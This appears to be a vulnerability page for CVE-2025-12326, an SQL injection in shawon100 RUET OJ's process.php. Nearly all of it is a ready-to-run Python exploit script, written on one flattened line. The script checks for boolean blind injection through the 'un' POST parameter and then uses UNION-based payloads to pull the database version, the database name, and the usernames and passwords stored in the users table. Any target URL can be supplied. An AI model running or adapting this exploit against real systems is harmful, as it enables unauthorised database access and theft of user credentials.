CVE-2025-12326 shawon100 RUET OJ SQL注入漏洞

import requests import sys # CVE-2025-12326 SQL Injection PoC # Target: shawon100 RUET OJ /process.php # Parameter: un (POST Request Handler) def exploit_sqli(target_url, payload): """ SQL Injection exploitation function payload: malicious SQL injection string """ data = { 'un': payload # Vulnerable parameter } try: response = requests.post(target_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Blind Boolean-based SQL Injection detection def check_vulnerability(target_url): """ Check if target is vulnerable by testing boolean response """ # True condition - should return expected result true_payload = "admin' AND 1=1 -- " # False condition - should return different result false_payload = "admin' AND 1=2 -- " true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp != false_resp: print("[+] Target is vulnerable to SQL Injection!") return True else: print("[-] Target may not be vulnerable") return False # Database enumeration using UNION-based injection def extract_database_info(target_url): """ Extract database information using UNION injection """ # Database version version_payload = "' UNION SELECT NULL,version(),NULL,NULL -- " # Database name db_payload = "' UNION SELECT NULL,database(),NULL,NULL -- " # User list users_payload = "' UNION SELECT NULL,GROUP_CONCAT(user_id,':',username,':',password),NULL,NULL FROM users -- " print("[*] Extracting database version...") print(exploit_sqli(target_url, version_payload)) print("[*] Extracting database name...") print(exploit_sqli(target_url, db_payload)) print("[*] Extracting user credentials...") print(exploit_sqli(target_url, users_payload)) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12326.py <target_url>") print("Example: python cve-2025-12326.py http://target.com/process.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing target: {target}") if check_vulnerability(target): print("[*] Proceeding with data extraction...") extract_database_info(target)